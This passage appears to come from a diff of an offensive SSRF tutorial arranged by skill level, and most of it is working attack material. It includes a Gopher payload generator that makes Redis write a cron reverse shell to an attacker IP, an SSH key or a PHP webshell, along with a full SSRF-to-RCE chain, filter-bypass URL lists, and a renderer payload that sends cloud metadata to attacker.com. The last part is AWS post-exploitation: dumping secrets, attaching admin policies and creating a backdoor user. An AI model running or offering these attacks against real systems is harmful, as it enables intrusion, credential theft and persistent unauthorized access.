if __name__ == "__main__":
|
|
237
|
+
main()
|
|
238
|
+
```
|
|
239
|
+
|
|
240
|
+
```bash
|
|
241
|
+
# Run the scanner
|
|
242
|
+
python3 ssrf_scan.py --target "https://target.com/fetch" --param url --host 127.0.0.1
|
|
243
|
+
|
|
244
|
+
# Scan a private subnet range
|
|
245
|
+
for i in $(seq 1 254); do
|
|
246
|
+
python3 ssrf_scan.py --target "https://target.com/fetch" --param url --host "10.0.0.$i" --ports 22,80,443,8080,8443,6379,27017
|
|
247
|
+
done
|
|
248
|
+
```
|
|
249
|
+
|
|
250
|
+
---
|
|
251
|
+
|
|
252
|
+
### ADVANCED
|
|
253
|
+
|
|
254
|
+
**Prerequisites:** Intermediate level complete, Python scripting proficiency, understanding of Redis wire protocol, DNS concepts.
|
|
255
|
+
|
|
256
|
+
**Goals:**
|
|
257
|
+
- Protocol smuggling via Gopher and dict://
|
|
258
|
+
- SSRF to Redis RCE chain
|
|
259
|
+
- DNS rebinding attacks
|
|
260
|
+
- SSRF bypass via HTTP redirects
|
|
261
|
+
- IPv6 bypass techniques
|
|
262
|
+
- SSRF in XML/XXE context
|
|
263
|
+
|
|
264
|
+
**Gopher Protocol SSRF:**
|
|
265
|
+
|
|
266
|
+
The Gopher protocol can be used to send raw TCP data to any host/port, enabling interaction with protocols that HTTP cannot natively support (Redis, SMTP, FTP, Memcached, MySQL in some cases).
|
|
267
|
+
|
|
268
|
+
Gopher URL format:
|
|
269
|
+
```
|
|
270
|
+
gopher://HOST:PORT/_{URL-encoded TCP data}
|
|
271
|
+
```
|
|
272
|
+
|
|
273
|
+
Note: Each `%0d%0a` is `\r\n` (CRLF) which most protocols require as line terminators.
|
|
274
|
+
|
|
275
|
+
**Python: Generate Gopher Payloads:**
|
|
276
|
+
|
|
277
|
+
```python
|
|
278
|
+
#!/usr/bin/env python3
|
|
279
|
+
"""
|
|
280
|
+
Gopher payload generator for SSRF protocol smuggling.
|
|
281
|
+
"""
|
|
282
|
+
import urllib.parse
|
|
283
|
+
|
|
284
|
+
def gopher_encode(host, port, payload):
|
|
285
|
+
"""Encode a raw TCP payload as a gopher:// URL."""
|
|
286
|
+
encoded = urllib.parse.quote(payload, safe='')
|
|
287
|
+
return f"gopher://{host}:{port}/_{encoded}"
|
|
288
|
+
|
|
289
|
+
def redis_ping(host="127.0.0.1", port=6379):
|
|
290
|
+
cmd = "PING\r\n"
|
|
291
|
+
return gopher_encode(host, port, cmd)
|
|
292
|
+
|
|
293
|
+
def redis_write_cron(host="127.0.0.1", port=6379,
|
|
294
|
+
attacker_ip="ATTACKER_IP", attacker_port=4444):
|
|
295
|
+
"""Write a reverse shell cron job to /etc/cron.d/ via Redis."""
|
|
296
|
+
cron_payload = f"\n\n*/1 * * * * root bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1\n\n"
|
|
297
|
+
commands = [
|
|
298
|
+
"*1\r\n$8\r\nflushall\r\n",
|
|
299
|
+
f"*3\r\n$3\r\nset\r\n$1\r\nx\r\n${len(cron_payload)}\r\n{cron_payload}\r\n",
|
|
300
|
+
"*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$10\r\n/etc/cron.d\r\n",
|
|
301
|
+
"*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$6\r\nshell2\r\n",
|
|
302
|
+
"*1\r\n$4\r\nsave\r\n",
|
|
303
|
+
]
|
|
304
|
+
full = "".join(commands)
|
|
305
|
+
return gopher_encode(host, port, full)
|
|
306
|
+
|
|
307
|
+
def redis_write_ssh_key(host="127.0.0.1", port=6379, pubkey="ssh-rsa AAAA... attacker"):
|
|
308
|
+
"""Write attacker SSH public key to /root/.ssh/authorized_keys."""
|
|
309
|
+
key_payload = f"\n\n{pubkey}\n\n"
|
|
310
|
+
commands = [
|
|
311
|
+
"*1\r\n$8\r\nflushall\r\n",
|
|
312
|
+
f"*3\r\n$3\r\nset\r\n$1\r\nx\r\n${len(key_payload)}\r\n{key_payload}\r\n",
|
|
313
|
+
"*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$11\r\n/root/.ssh/\r\n",
|
|
314
|
+
"*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$15\r\nauthorized_keys\r\n",
|
|
315
|
+
"*1\r\n$4\r\nsave\r\n",
|
|
316
|
+
]
|
|
317
|
+
full = "".join(commands)
|
|
318
|
+
return gopher_encode(host, port, full)
|
|
319
|
+
|
|
320
|
+
def redis_webshell(host="127.0.0.1", port=6379, webroot="/var/www/html"):
|
|
321
|
+
"""Write a PHP webshell to the web root via Redis."""
|
|
322
|
+
shell = "<?php system($_GET['cmd']); ?>"
|
|
323
|
+
commands = [
|
|
324
|
+
"*1\r\n$8\r\nflushall\r\n",
|
|
325
|
+
f"*3\r\n$3\r\nset\r\n$1\r\nx\r\n${len(shell)}\r\n{shell}\r\n",
|
|
326
|
+
f"*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n${len(webroot)}\r\n{webroot}\r\n",
|
|
327
|
+
"*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n",
|
|
328
|
+
"*1\r\n$4\r\nsave\r\n",
|
|
329
|
+
]
|
|
330
|
+
full = "".join(commands)
|
|
331
|
+
return gopher_encode(host, port, full)
|
|
332
|
+
|
|
333
|
+
if __name__ == "__main__":
|
|
334
|
+
print("[+] Redis PING via Gopher:")
|
|
335
|
+
print(redis_ping())
|
|
336
|
+
print()
|
|
337
|
+
print("[+] Redis Cron Reverse Shell (update attacker IP/port):")
|
|
338
|
+
print(redis_write_cron(attacker_ip="10.10.10.10", attacker_port=4444))
|
|
339
|
+
print()
|
|
340
|
+
print("[+] Redis SSH Key Injection:")
|
|
341
|
+
print(redis_write_ssh_key(pubkey="ssh-rsa AAAA...your_key... attacker@kali"))
|
|
342
|
+
print()
|
|
343
|
+
print("[+] Redis PHP Webshell to /var/www/html:")
|
|
344
|
+
print(redis_webshell())
|
|
345
|
+
```
|
|
346
|
+
|
|
347
|
+
```bash
|
|
348
|
+
# Use the generated Gopher URL directly in the SSRF parameter
|
|
349
|
+
# Example output from script:
|
|
350
|
+
# gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A...
|
|
351
|
+
|
|
352
|
+
# Double-encode for cases where the app URL-decodes once before fetching
|
|
353
|
+
python3 -c "
|
|
354
|
+
import urllib.parse
|
|
355
|
+
payload = 'gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0APING%0D%0A'
|
|
356
|
+
print(urllib.parse.quote(payload))
|
|
357
|
+
"
|
|
358
|
+
|
|
359
|
+
# dict:// for quick Redis ping test (simpler, but limited)
|
|
360
|
+
curl -s "https://target.com/fetch?url=dict://127.0.0.1:6379/PING"
|
|
361
|
+
|
|
362
|
+
# dict:// for basic Redis commands
|
|
363
|
+
curl -s "https://target.com/fetch?url=dict://127.0.0.1:6379/info"
|
|
364
|
+
curl -s "https://target.com/fetch?url=dict://127.0.0.1:6379/keys:*"
|
|
365
|
+
```
|
|
366
|
+
|
|
367
|
+
**Complete SSRF to Redis RCE Chain:**
|
|
368
|
+
|
|
369
|
+
```bash
|
|
370
|
+
# Step 1: Confirm Redis is accessible via SSRF
|
|
371
|
+
curl -s "https://target.com/fetch?url=dict://127.0.0.1:6379/PING"
|
|
372
|
+
# Expected: +PONG
|
|
373
|
+
|
|
374
|
+
# Step 2: Generate Gopher cron payload
|
|
375
|
+
python3 gopher_payloads.py > payloads.txt
|
|
376
|
+
|
|
377
|
+
# Step 3: Set up listener on attacker machine
|
|
378
|
+
nc -lvnp 4444
|
|
379
|
+
|
|
380
|
+
# Step 4: Send Gopher payload via SSRF
|
|
381
|
+
CRON_PAYLOAD=$(python3 -c "
|
|
382
|
+
import urllib.parse
|
|
383
|
+
# Cron payload to /etc/cron.d/shell
|
|
384
|
+
payload = '*1\r\n\$8\r\nflushall\r\n*3\r\n\$3\r\nset\r\n\$1\r\nx\r\n\$58\r\n\n\n*/1 * * * * root bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\n\n\r\n*4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$3\r\ndir\r\n\$10\r\n/etc/cron.d\r\n*4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$10\r\ndbfilename\r\n\$6\r\nshell2\r\n*1\r\n\$4\r\nsave\r\n'
|
|
385
|
+
encoded = urllib.parse.quote(payload)
|
|
386
|
+
print(f'gopher://127.0.0.1:6379/_{encoded}')
|
|
387
|
+
")
|
|
388
|
+
|
|
389
|
+
curl -s "https://target.com/fetch?url=${CRON_PAYLOAD}"
|
|
390
|
+
|
|
391
|
+
# Step 5: Wait up to 60 seconds for cron to fire and get reverse shell
|
|
392
|
+
|
|
393
|
+
# Alternative: SSH key injection (more reliable, requires root ~/.ssh exists)
|
|
394
|
+
PUB_KEY=$(cat ~/.ssh/id_rsa.pub)
|
|
395
|
+
python3 -c "
|
|
396
|
+
import urllib.parse
|
|
397
|
+
key = '$PUB_KEY'
|
|
398
|
+
payload = f'*1\r\n\$8\r\nflushall\r\n*3\r\n\$3\r\nset\r\n\$1\r\nx\r\n\${len(key)+4}\r\n\n\n{key}\n\n\r\n*4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$3\r\ndir\r\n\$11\r\n/root/.ssh/\r\n*4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$10\r\ndbfilename\r\n\$15\r\nauthorized_keys\r\n*1\r\n\$4\r\nsave\r\n'
|
|
399
|
+
encoded = urllib.parse.quote(payload)
|
|
400
|
+
print(f'gopher://127.0.0.1:6379/_{encoded}')
|
|
401
|
+
"
|
|
402
|
+
```
|
|
403
|
+
|
|
404
|
+
**DNS Rebinding Attack:**
|
|
405
|
+
|
|
406
|
+
DNS rebinding bypasses IP-based SSRF filters by exploiting the DNS TTL mechanism. The attack flow:
|
|
407
|
+
|
|
408
|
+
1. Attacker controls a domain with short TTL (e.g., 0 seconds)
|
|
409
|
+
2. First DNS resolution returns a public IP (bypass the filter check)
|
|
410
|
+
3. Application validates — passes because public IP is allowed
|
|
411
|
+
4. Second DNS resolution returns 127.0.0.1 (or internal IP)
|
|
412
|
+
5. Application fetches using the rebinded internal IP
|
|
413
|
+
|
|
414
|
+
```bash
|
|
415
|
+
# Tools for DNS rebinding:
|
|
416
|
+
# - https://github.com/brannondorsey/whonow (self-hosted)
|
|
417
|
+
# - https://lock.cmpxchg8b.com/rebinder.html (online tool)
|
|
418
|
+
# - https://github.com/nccgroup/singularity (full framework)
|
|
419
|
+
|
|
420
|
+
# Using whonow:
|
|
421
|
+
# 1. Set up: A=1.2.3.4 first, then rebind to 127.0.0.1
|
|
422
|
+
# Domain: A-1.2.3.4-rebind-127.0.0.1-<your-id>.whonow.com
|
|
423
|
+
|
|
424
|
+
curl -s "https://target.com/fetch?url=http://A-1.2.3.4-rebind-127.0.0.1-rnd1234.whonow.com/"
|
|
425
|
+
|
|
426
|
+
# Using rbndr.us (community DNS rebinding service)
|
|
427
|
+
# Format: {external-ip}.{internal-ip}.rbndr.us
|
|
428
|
+
# Example: rebind between 1.2.3.4 and 127.0.0.1
|
|
429
|
+
curl -s "https://target.com/fetch?url=http://7f000001.c0a80101.rbndr.us/"
|
|
430
|
+
# 7f000001 = 127.0.0.1 in hex, c0a80101 = 192.168.1.1 in hex
|
|
431
|
+
```
|
|
432
|
+
|
|
433
|
+
**IPv6 Bypass Techniques:**
|
|
434
|
+
|
|
435
|
+
```bash
|
|
436
|
+
# Standard IPv6 localhost
|
|
437
|
+
curl -s "https://target.com/fetch?url=http://[::1]/"
|
|
438
|
+
curl -s "https://target.com/fetch?url=http://[0:0:0:0:0:0:0:1]/"
|
|
439
|
+
curl -s "https://target.com/fetch?url=http://[0000:0000:0000:0000:0000:0000:0000:0001]/"
|
|
440
|
+
|
|
441
|
+
# IPv4-mapped IPv6 addresses
|
|
442
|
+
curl -s "https://target.com/fetch?url=http://[::ffff:127.0.0.1]/"
|
|
443
|
+
curl -s "https://target.com/fetch?url=http://[::ffff:7f00:1]/"
|
|
444
|
+
|
|
445
|
+
# IPv6 to access AWS metadata (IPv4-mapped)
|
|
446
|
+
curl -s "https://target.com/fetch?url=http://[::ffff:169.254.169.254]/"
|
|
447
|
+
curl -s "https://target.com/fetch?url=http://[::ffff:a9fe:a9fe]/"
|
|
448
|
+
# a9fe:a9fe = 169.254.169.254 in hex
|
|
449
|
+
|
|
450
|
+
# Link-local IPv6 (fe80::/10) — for internal network scanning
|
|
451
|
+
curl -s "https://target.com/fetch?url=http://[fe80::1]/"
|
|
452
|
+
```
|
|
453
|
+
|
|
454
|
+
---
|
|
455
|
+
|
|
456
|
+
### EXPERT
|
|
457
|
+
|
|
458
|
+
**Prerequisites:** Advanced level complete, deep networking knowledge, experience with cloud IAM, code review skills.
|
|
459
|
+
|
|
460
|
+
**Goals:**
|
|
461
|
+
- SSRF filter bypass via HTTP redirect chains
|
|
462
|
+
- SSRF in OAuth flows and webhook validators
|
|
463
|
+
- SSRF via URL parser confusion (parser differential attacks)
|
|
464
|
+
- Post-exploitation of stolen cloud credentials
|
|
465
|
+
- SSRF via PDF/HTML renderers (headless Chrome)
|
|
466
|
+
- Second-order SSRF
|
|
467
|
+
- SSRF in gRPC/GraphQL endpoints
|
|
468
|
+
|
|
469
|
+
**HTTP Redirect Bypass Chain:**
|
|
470
|
+
|
|
471
|
+
Many SSRF filters check the initial URL but follow redirects without re-checking. Host a redirect endpoint on your server:
|
|
472
|
+
|
|
473
|
+
```python
|
|
474
|
+
#!/usr/bin/env python3
|
|
475
|
+
"""
|
|
476
|
+
ssrf_redirect.py — SSRF bypass via HTTP redirect.
|
|
477
|
+
Host this on a public server. The app fetches your URL, gets redirected to internal target.
|
|
478
|
+
|
|
479
|
+
Usage: python3 ssrf_redirect.py --redirect http://169.254.169.254/latest/meta-data/ --port 8888
|
|
480
|
+
"""
|
|
481
|
+
from http.server import HTTPServer, BaseHTTPRequestHandler
|
|
482
|
+
import argparse
|
|
483
|
+
|
|
484
|
+
class RedirectHandler(BaseHTTPRequestHandler):
|
|
485
|
+
target = "http://169.254.169.254/latest/meta-data/"
|
|
486
|
+
|
|
487
|
+
def do_GET(self):
|
|
488
|
+
self.send_response(301)
|
|
489
|
+
self.send_header("Location", self.target)
|
|
490
|
+
self.end_headers()
|
|
491
|
+
|
|
492
|
+
def log_message(self, format, *args):
|
|
493
|
+
print(f"[REQ] {self.address_string()} - {format % args}")
|
|
494
|
+
|
|
495
|
+
def main():
|
|
496
|
+
parser = argparse.ArgumentParser()
|
|
497
|
+
parser.add_argument("--redirect", default="http://169.254.169.254/latest/meta-data/")
|
|
498
|
+
parser.add_argument("--port", type=int, default=8888)
|
|
499
|
+
args = parser.parse_args()
|
|
500
|
+
RedirectHandler.target = args.redirect
|
|
501
|
+
print(f"[*] Redirect server: http://0.0.0.0:{args.port}/ -> {args.redirect}")
|
|
502
|
+
HTTPServer(("0.0.0.0", args.port), RedirectHandler).serve_forever()
|
|
503
|
+
|
|
504
|
+
if __name__ == "__main__":
|
|
505
|
+
main()
|
|
506
|
+
```
|
|
507
|
+
|
|
508
|
+
```bash
|
|
509
|
+
# Start redirect server on attacker VPS
|
|
510
|
+
python3 ssrf_redirect.py --redirect "http://169.254.169.254/latest/meta-data/iam/security-credentials/" --port 8888
|
|
511
|
+
|
|
512
|
+
# Trigger SSRF via your redirect endpoint
|
|
513
|
+
curl -s "https://target.com/fetch?url=http://YOUR-VPS-IP:8888/"
|
|
514
|
+
|
|
515
|
+
# Advanced: chain multiple redirects
|
|
516
|
+
# 302 -> 301 -> 307 (preserves POST method) -> target
|
|
517
|
+
```
|
|
518
|
+
|
|
519
|
+
**URL Parser Confusion / Parser Differential Attacks:**
|
|
520
|
+
|
|
521
|
+
Different URL parsers interpret the same URL differently. This allows bypassing blocklist checks.
|
|
522
|
+
|
|
523
|
+
```python
|
|
524
|
+
#!/usr/bin/env python3
|
|
525
|
+
"""
|
|
526
|
+
SSRF URL obfuscation payloads — parser confusion techniques.
|
|
527
|
+
"""
|
|
528
|
+
|
|
529
|
+
payloads = [
|
|
530
|
+
# Decimal/octal/hex IP representations
|
|
531
|
+
"http://2130706433/", # 127.0.0.1 as decimal
|
|
532
|
+
"http://0177.0.0.1/", # 127 in octal
|
|
533
|
+
"http://0x7f000001/", # 127.0.0.1 in hex
|
|
534
|
+
"http://0x7f.0x0.0x0.0x1/", # Per-octet hex
|
|
535
|
+
"http://127.1/", # Short form
|
|
536
|
+
"http://127.0.1/", # Short form variant
|
|
537
|
+
|
|
538
|
+
# AWS metadata decimal
|
|
539
|
+
"http://2852039166/", # 169.254.169.254 as decimal
|
|
540
|
+
"http://0xa9fea9fe/", # 169.254.169.254 in hex
|
|
541
|
+
"http://0251.0376.0251.0376/", # Octal
|
|
542
|
+
|
|
543
|
+
# URL encoding tricks
|
|
544
|
+
"http://%31%32%37%2e%30%2e%30%2e%31/", # 127.0.0.1 URL encoded
|
|
545
|
+
"http://127.0.0.1%20/", # Space after IP (some parsers ignore)
|
|
546
|
+
"http://127.0.0.1%09/", # Tab after IP
|
|
547
|
+
|
|
548
|
+
# Auth@ tricks — parser may see host as "google.com" but fetch 127.0.0.1
|
|
549
|
+
"http://google.com@127.0.0.1/",
|
|
550
|
+
"http://google.com:80@127.0.0.1/",
|
|
551
|
+
"http://169.254.169.254@google.com/", # Some parsers take last host
|
|
552
|
+
|
|
553
|
+
# Fragment and query confusion
|
|
554
|
+
"http://127.0.0.1#.google.com/",
|
|
555
|
+
"http://127.0.0.1?.google.com/",
|
|
556
|
+
|
|
557
|
+
# Double slash tricks
|
|
558
|
+
"http:///127.0.0.1/",
|
|
559
|
+
"http:\\\\127.0.0.1/",
|
|
560
|
+
|
|
561
|
+
# CRLF injection in URL
|
|
562
|
+
"http://127.0.0.1%0d%0aHost:%20169.254.169.254/",
|
|
563
|
+
|
|
564
|
+
# Case variation
|
|
565
|
+
"HTTP://127.0.0.1/",
|
|
566
|
+
"hTTp://127.0.0.1/",
|
|
567
|
+
|
|
568
|
+
# Unicode / punycode
|
|
569
|
+
"http://⑬⑦.0.0.①/", # Circled digits
|
|
570
|
+
|
|
571
|
+
# Null byte injection
|
|
572
|
+
"http://127.0.0.1%00evil.com/",
|
|
573
|
+
|
|
574
|
+
# IPv6 variants
|
|
575
|
+
"http://[::1]/",
|
|
576
|
+
"http://[::ffff:127.0.0.1]/",
|
|
577
|
+
"http://[0:0:0:0:0:ffff:127.0.0.1]/",
|
|
578
|
+
|
|
579
|
+
# localhost variants
|
|
580
|
+
"http://localtest.me/", # DNS resolves to 127.0.0.1
|
|
581
|
+
"http://customer1.app.lvh.me/", # lvh.me resolves to 127.0.0.1
|
|
582
|
+
"http://spoofed.burpcollaborator.net/", # Control DNS to return 127.0.0.1
|
|
583
|
+
]
|
|
584
|
+
|
|
585
|
+
for p in payloads:
|
|
586
|
+
print(p)
|
|
587
|
+
```
|
|
588
|
+
|
|
589
|
+
**Post-Exploitation: Stolen AWS Credentials:**
|
|
590
|
+
|
|
591
|
+
```bash
|
|
592
|
+
# After retrieving credentials from IMDSv1:
|
|
593
|
+
# AccessKeyId: ASIA...
|
|
594
|
+
# SecretAccessKey: ...
|
|
595
|
+
# Token: ...
|
|
596
|
+
# Save to ~/.aws/credentials
|
|
597
|
+
|
|
598
|
+
cat > /tmp/ssrf_creds << 'EOF'
|
|
599
|
+
[ssrf_stolen]
|
|
600
|
+
aws_access_key_id = ASIA_REPLACE_ME
|
|
601
|
+
aws_secret_access_key = SECRET_REPLACE_ME
|
|
602
|
+
aws_session_token = TOKEN_REPLACE_ME
|
|
603
|
+
region = us-east-1
|
|
604
|
+
EOF
|
|
605
|
+
|
|
606
|
+
export AWS_PROFILE=ssrf_stolen
|
|
607
|
+
export AWS_CONFIG_FILE=/tmp/ssrf_creds
|
|
608
|
+
|
|
609
|
+
# Identify the role
|
|
610
|
+
aws sts get-caller-identity
|
|
611
|
+
|
|
612
|
+
# List all IAM policies attached to this role
|
|
613
|
+
ROLE_NAME=$(aws sts get-caller-identity --query 'Arn' --output text | cut -d'/' -f2)
|
|
614
|
+
aws iam list-attached-role-policies --role-name "$ROLE_NAME"
|
|
615
|
+
aws iam list-role-policies --role-name "$ROLE_NAME"
|
|
616
|
+
|
|
617
|
+
# Enumerate what we can do
|
|
618
|
+
aws iam simulate-principal-policy \
|
|
619
|
+
--policy-source-arn "$(aws sts get-caller-identity --query Arn --output text)" \
|
|
620
|
+
--action-names "s3:ListAllMyBuckets" "ec2:DescribeInstances" "iam:ListRoles"
|
|
621
|
+
|
|
622
|
+
# List S3 buckets
|
|
623
|
+
aws s3 ls
|
|
624
|
+
|
|
625
|
+
# Dump all S3 bucket contents
|
|
626
|
+
for bucket in $(aws s3 ls | awk '{print $3}'); do
|
|
627
|
+
echo "[*] Bucket: $bucket"
|
|
628
|
+
aws s3 ls "s3://$bucket" --recursive 2>/dev/null | head -20
|
|
629
|
+
done
|
|
630
|
+
|
|
631
|
+
# Look for secrets in SSM Parameter Store
|
|
632
|
+
aws ssm describe-parameters --query 'Parameters[*].Name'
|
|
633
|
+
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption
|
|
634
|
+
|
|
635
|
+
# Secrets Manager
|
|
636
|
+
aws secretsmanager list-secrets --query 'SecretList[*].Name'
|
|
637
|
+
aws secretsmanager get-secret-value --secret-id REPLACE_SECRET_NAME
|
|
638
|
+
|
|
639
|
+
# EC2 instances in all regions
|
|
640
|
+
for region in $(aws ec2 describe-regions --query 'Regions[*].RegionName' --output text); do
|
|
641
|
+
echo "[*] Region: $region"
|
|
642
|
+
aws ec2 describe-instances --region $region \
|
|
643
|
+
--query 'Reservations[*].Instances[*].[InstanceId,PublicIpAddress,PrivateIpAddress,Tags]' \
|
|
644
|
+
--output text 2>/dev/null
|
|
645
|
+
done
|
|
646
|
+
|
|
647
|
+
# Try privilege escalation — attach admin policy
|
|
648
|
+
aws iam attach-role-policy \
|
|
649
|
+
--role-name "$ROLE_NAME" \
|
|
650
|
+
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
|
|
651
|
+
|
|
652
|
+
# Create new IAM user for persistence
|
|
653
|
+
aws iam create-user --user-name backdoor
|
|
654
|
+
aws iam create-access-key --user-name backdoor
|
|
655
|
+
aws iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
|
|
656
|
+
```
|
|
657
|
+
|
|
658
|
+
**GCP Post-Exploitation with Stolen Token:**
|
|
659
|
+
|
|
660
|
+
```bash
|
|
661
|
+
# After stealing GCP access token:
|
|
662
|
+
ACCESS_TOKEN="ya29.REPLACE_ME"
|
|
663
|
+
|
|
664
|
+
# Identify who we are
|
|
665
|
+
curl -s "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$ACCESS_TOKEN"
|
|
666
|
+
|
|
667
|
+
# List GCS buckets
|
|
668
|
+
curl -s "https://www.googleapis.com/storage/v1/b?project=PROJECT_ID" \
|
|
669
|
+
-H "Authorization: Bearer $ACCESS_TOKEN"
|
|
670
|
+
|
|
671
|
+
# List GCE instances
|
|
672
|
+
curl -s "https://compute.googleapis.com/compute/v1/projects/PROJECT_ID/aggregated/instances" \
|
|
673
|
+
-H "Authorization: Bearer $ACCESS_TOKEN"
|
|
674
|
+
|
|
675
|
+
# List Cloud Functions
|
|
676
|
+
curl -s "https://cloudfunctions.googleapis.com/v1/projects/PROJECT_ID/locations/-/functions" \
|
|
677
|
+
-H "Authorization: Bearer $ACCESS_TOKEN"
|
|
678
|
+
|
|
679
|
+
# Access Kubernetes cluster credentials
|
|
680
|
+
curl -s "https://container.googleapis.com/v1/projects/PROJECT_ID/locations/-/clusters" \
|
|
681
|
+
-H "Authorization: Bearer $ACCESS_TOKEN"
|
|
682
|
+
```
|
|
683
|
+
|
|
684
|
+
**SSRF in PDF/HTML Renderers (Headless Chrome):**
|
|
685
|
+
|
|
686
|
+
PDF generation services (wkhtmltopdf, Puppeteer, Playwright, PhantomJS) often execute JavaScript and make HTTP requests, creating a privileged SSRF vector.
|
|
687
|
+
|
|
688
|
+
```html
|
|
689
|
+
<!-- Payload for wkhtmltopdf (no JS needed, direct URL fetch) -->
|
|
690
|
+
<!-- Submit this as the page URL or content to render as PDF -->
|
|
691
|
+
|
|
692
|
+
<!-- Direct SSRF via img src or iframe -->
|
|
693
|
+
<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">
|
|
694
|
+
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
|
|
695
|
+
|
|
696
|
+
<!-- JavaScript-based SSRF for Puppeteer/Playwright -->
|
|
697
|
+
<script>
|
|
698
|
+
fetch("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
|
|
699
|
+
.then(r => r.text())
|
|
700
|
+
.then(data => {
|
|
701
|
+
// Exfiltrate via image load (visible in PDF or sent to attacker)
|
|
702
|
+
new Image().src = "https://attacker.com/ssrf?data=" + btoa(data);
|
|
703
|
+
document.body.innerHTML = "<pre>" + data + "</pre>";
|
|
704
|
+
});
|
|
705
|
+
</script>
|
|
706
|
+
|
|
707
|
+
<!-- wkhtmltopdf file:// LFI (not SSRF but related) -->
|
|
708
|
+
<!-- If URL scheme not restricted: -->
|
|
709
|
+
<iframe src="file:///etc/passwd"></iframe>
|
|
710
|
+
<img src="file:///etc/shadow">
|
|
711
|
+
```
|
|
712
|
+
|
|
713
|
+
```bash
|
|
714
|
+
# Trigger PDF generation with SSRF payload
|
|
715
|
+
curl -s -X POST "https://target.com/api/pdf/generate" \
|
|
716
|
+
-H "Content-Type: application/json" \
|
|
717
|
+
-d '{"url": "http://169.254.169.254/latest/meta-data/"}'
|
|
718
|
+
|
|
719
|
+
# Or inject HTML content
|
|
720
|
+
curl -s -X POST "https://target.com/api/pdf/generate" \
|
|
721
|
+
-H "Content-Type: application/json" \
|
|
722
|
+
-d '{"html": "<iframe src=\"http://169.254.169.254/latest/meta-data/\"></iframe>"}'
|
|
723
|
+
```
|
|
724
|
+
|
|
725
|
+
**Second-Order SSRF:**
|
|
726
|
+
|
|
727
|
+
Second-order SSRF occurs when a user-supplied URL is stored and later fetched by a background job or different component.
|
|
728
|
+
|
|
729
|
+
```bash
|
|
730
|
+
# Example: Update profile picture URL — background job fetches it later
|
|
731
|
+
curl -s -X PUT "https://target.com/api/user/profile" \
|
|
732
|
+
-H "Authorization: Bearer YOUR_JWT" \
|
|
733
|
+
-H "Content-Type: application/json" \
|
|
734
|
+
-d '{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
|
|
735
|
+
|
|
736
|
+
# Check if the avatar was processed and appears in the response
|
|
737
|
+
curl -s "https://target.com/api/user/profile" -H "Authorization: Bearer YOUR_JWT"
|
|
738
|
+
|
|
739
|
+
# Webhook registration — server will call back to registered URL
|
|
740
|
+
curl -s -X POST "https://target.com/api/webhooks" \
|
|
741
|
+
-H "Authorization: Bearer YOUR_JWT" \
|
|
742
|
+
-H "Content-Type: application/json" \
|
|
743
|
+
-d '{"url": "http://169.254.169.254/latest/meta-data/", "events": ["order.created"]}'
|
|
744
|
+
|
|
745
|
+
# Trigger the event that fires the webhook
|
|
746
|
+
curl -s -X POST "https://target.com/api/orders" \
|
|
747
|
+
-H "Authorization: Bearer YOUR_JWT" \
|
|
748
|
+
-d '{"item": "test"}'
|
|
749
|
+
```
|
|
750
|
+
|
|
751
|
+
---
|
|
752
|
+
|
|
753
|
+
## 3. Step-by-Step Attack Workflow
|
|
754
|
+
|
|
755
|
+
### Phase 1: Reconnaissance and Target Identification
|
|
756
|
+
|
|
757
|
+
```
|
|
758
|
+
1. Map the application for URL input points:
|
|
759
|
+
- URL parameters: ?url=, ?src=, ?href=, ?fetch=, ?link=, ?image=, ?path=, ?redirect=
|
|
760
|
+
- POST body fields: {"url": ..., "webhook": ..., "callback": ..., "endpoint": ...}
|
|
761
|
+
- HTTP headers: X-Forwarded-Host, X-Original-URL, Referer (if reflected server-side)
|
|
762
|
+
- XML/JSON payloads with URL values
|
|
763
|
+
- File upload with URLs (import by URL features)
|
|
764
|
+
- OAuth callback URLs
|
|
765
|
+
- SAML SP/IdP endpoints
|
|
766
|
+
|
|
767
|
+
2. Note the application's cloud provider:
|
|
768
|
+
- Check HTTP response headers (X-Amzn-*, X-Google-*, X-Azure-*)
|
|
769
|
+
- DNS patterns (*.amazonaws.com, *.googleapis.com, *.azure.com)
|
|
770
|
+
- Error messages referencing cloud services
|
|
771
|
+
```
|
|
772
|
+
|
|
773
|
+
### Phase 2: Confirming SSRF
|
|
774
|
+
|
|
775
|
+
```
|
|
776
|
+
3. Set up an out-of-band listener (one of):
|
|
777
|
+
a. interactsh: interactsh-client -server https://interactsh.com
|
|
778
|
+
b. Burp Collaborator: generate a payload URL
|
|
779
|
+
c. ngrok: ngrok http 8080 and run nc -lvnp 8080
|
|
780
|
+
|
|
781
|
+
4. Submit the out-of-band URL as the parameter value.
|
|
782
|
+
If you receive a DNS query or HTTP request, SSRF is confirmed.
|
|
783
|
+
|
|
784
|
+
5. Distinguish error-based (in-band) from blind SSRF:
|
|
785
|
+
- In-band: Response body contains fetched content
|
|
786
|
+
- Error-based: HTTP status codes or error messages differ by target reachability
|
|
787
|
+
- Blind: No direct feedback; rely solely on out-of-band callbacks
|
|
788
|
+
```
|
|
789
|
+
|
|
790
|
+
### Phase 3: Internal Network Mapping
|
|
791
|
+
|
|
792
|
+
```
|
|
793
|
+
6. Probe localhost:
|
|
794
|
+
- http://127.0.0.1/
